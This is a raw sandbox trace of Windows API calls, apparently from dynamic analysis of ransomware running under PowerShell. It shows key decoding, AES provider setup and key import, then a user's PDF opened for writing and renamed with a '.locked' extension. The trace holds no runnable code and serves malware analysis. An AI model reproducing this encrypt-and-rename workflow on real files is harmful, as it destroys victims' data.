MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0126.337] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0126.338] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.338] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0126.338] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.338] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0126.338] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0126.338] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0126.338] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.338] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0126.338] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.339] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0126.339] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.339] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0126.339] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.339] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0126.339] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.339] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0126.339] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.339] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.340] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0126.340] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.340] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.340] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.340] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.340] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.340] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.341] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.341] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.341] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.341] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.341] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.341] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.341] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.341] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0126.342] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e021c8) returned 1 [0126.342] CryptImportKey (in: hProv=0x8e021c8, pbData=0x68edc6c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84f38) returned 1 [0126.342] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.342] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="\xdb64\x68e") returned 0x0 [0126.342] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.343] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.343] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.344] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf")) returned 0x20 [0126.344] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf")) returned 0x20 [0126.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.344] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.345] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.345] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.345] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.345] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.345] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.346] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.346] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0126.348] GetFileType (hFile=0x874) returned 0x1 [0126.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.349] GetFileType (hFile=0x874) returned 0x1 [0126.349] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.349] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe67c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0126.349] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.349] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.349] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.349] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: 